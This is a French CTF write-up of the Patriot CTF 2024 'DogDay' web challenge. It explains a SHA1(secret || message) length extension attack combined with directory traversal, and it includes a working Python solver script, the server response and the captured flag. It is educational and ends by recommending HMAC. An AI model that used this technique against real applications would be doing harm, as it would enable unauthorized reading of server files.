Aller au contenu
  1. Writeups/

Patriot CTF 2024: DogDay

Fayred
Auteur
Fayred
Passionné par l’informatique en général et plus particulièrement par la sécurité informatique. Amateur de CTFs et débutant en Bug Bounty, je cherche avant tout à apprendre, m’amuser et partager ce que j’ai appris.
Sommaire

Énoncé
#

Woof woof

http://chal.competitivecyber.club:7777

Author: Dylan (elbee3779)

Aperçu
#

Le challenge fournit une petite galerie d’images et les fichiers suivants :

.
├── assets
│   ├── BAD.gif
│   ├── script.js
│   └── style.css
├── index.php
├── pupper
│   ├── 1.png
│   ├── 2.png
│   ├── 3.png
│   ├── 4.png
│   ├── 5.png
│   ├── 6.png
│   ├── 7.png
│   └── 8.png
└── view.php

2 directories, 13 files

Cliquer sur une image ouvre /view.php avec deux paramètres : pic, tiré de l’attribut rel, et hash, tiré de media.

<a href="#" media="06dadc9db741e1c2a91f266203f01b9224b5facf" rel="1.png">
	<img src="pupper/1.png" alt="">
</a>

Le contrôle décisif se trouve dans view.php :

<?php
	$pic = $_GET['pic'];
	$hash = $_GET['hash'];
	if(sha1("TEST SECRET1".$pic)==$hash){
		$imgdata = base64_encode(file_get_contents("pupper/".str_replace("\0","",$pic)));
		echo "<!DOCTYPE html>";
		echo "<html><body><h1>Here's your picture:</h1>";
		echo "<img src='data:image/png;base64,".$imgdata."'>";
		echo "</body></html>";
	}else{
		echo "<!DOCTYPE html><html><body>";
		echo "<h1>Invalid hash provided!</h1>";
		echo '<img src="assets/BAD.gif"/>';
		echo "</body></html>";
	}
	// The flag is at /flag, that's all you're getting!
?>

pic contrôle le chemin transmis à file_get_contents(), tandis que hash doit être égal à SHA1(secret || pic). Une traversée de répertoires seule ne suffit donc pas : le serveur refuse tout nom de fichier dont on ne connaît pas la signature.

La comparaison non stricte (==) évoque d’abord le type juggling de PHP. Cette piste exigerait toutefois un hash SHA1 de la forme 0e... pour une entrée qui mène aussi à /flag, ce qui n’est pas réaliste ici. La construction SHA1(secret || message) offre une piste bien plus directe.

Résolution
#

SHA1
#

SHA1 repose sur la construction de Merkle-Damgård, comme MD5 et certaines variantes de SHA2. Le schéma suivant en résume le fonctionnement :

SHA1 complète le message avec l’octet 0x80, des octets nuls, puis sa longueur en bits encodée sur 8 octets. Le résultat est découpé en blocs de 64 octets. Chaque bloc met à jour un état interne, initialisé avec les constantes h0 à h4. L’empreinte finale expose précisément cet état après le dernier bloc.

Étendre un message signé
#

Cette propriété permet une length extension attack. À partir de SHA1(secret || message), il est possible de calculer la signature de :

secret || message || padding || extension

Le secret reste inconnu, mais l’empreinte connue de secret || message fournit l’état interne nécessaire pour poursuivre le calcul. Seule la longueur du secret doit être devinée afin de reconstituer le bon padding.

Dans view.php, la valeur signée et le chemin lu sont tous deux issus de pic :

$pic = $_GET['pic'];
$hash = $_GET['hash'];
if(sha1("TEST SECRET1".$pic)==$hash){
	$imgdata = base64_encode(file_get_contents("pupper/".str_replace("\0","",$pic)));
	echo "<!DOCTYPE html>";
	echo "<html><body><h1>Here's your picture:</h1>";
	echo "<img src='data:image/png;base64,".$imgdata."'>";
	echo "</body></html>";
}

On possède déjà la signature valide de 1.png : 06dadc9db741e1c2a91f266203f01b9224b5facf. Elle permet de prolonger le message avec /../../../../../flag et de produire le hash correspondant, sans connaître le secret. Le str_replace("\0", "", $pic) retire les octets nuls du padding, mais conserve l’octet 0x80 et les octets qui encodent la longueur. Ils restent donc accolés à 1.png dans un même composant du chemin. Le premier /.. annule ce composant 1.png + padding ; les suivants remontent depuis le répertoire pupper/ jusqu’à permettre l’accès à /flag.

Exploitation
#

La bibliothèque hlextend construit le message étendu et reprend le calcul de SHA1 depuis l’empreinte connue. La boucle teste plusieurs longueurs de secret ; dès que l’hypothèse est correcte, le serveur accepte le nouveau hash.

import requests
import hlextend

for i in range(1, 30):
    sha = hlextend.new('sha1')
    pic = sha.extend(b'/../../../../../flag', b'1.png', i, '06dadc9db741e1c2a91f266203f01b9224b5facf')
    hash = sha.hexdigest()
    url = f'http://chal.competitivecyber.club:7777/view.php?pic={requests.utils.quote(pic)}&hash={hash}'
    r = requests.get(url)
    if 'Invalid hash provided!' not in r.text:
        print(r.text)
        break

La réponse valide contient l’image encodée en Base64. Ici, ce contenu est directement celui du fichier /flag :

$ python3 solver.py
<!DOCTYPE html><html><body><h1>Here's your picture:</h1><img src='data:image/png;base64,cGN0ZnszeHQzbmRfbXlfdGg0bms1X2U5YjVmNmFhMDd9Cg=='></body></html>

$ echo "cGN0ZnszeHQzbmRfbXlfdGg0bms1X2U5YjVmNmFhMDd9Cg=="|base64 -d
pctf{3xt3nd_my_th4nk5_e9b5f6aa07}

Flag: pctf{3xt3nd_my_th4nk5_e9b5f6aa07}

Conclusion
#

Le contrôle d’intégrité paraît empêcher de modifier pic, mais SHA1(secret || message) n’est pas un MAC sûr. L’empreinte d’une image légitime suffit à signer une extension du message ; la traversée de répertoires ajoutée à cette extension permet alors de lire le flag. Un HMAC, par exemple HMAC-SHA256, empêcherait cette attaque.

Références
#

Articles connexes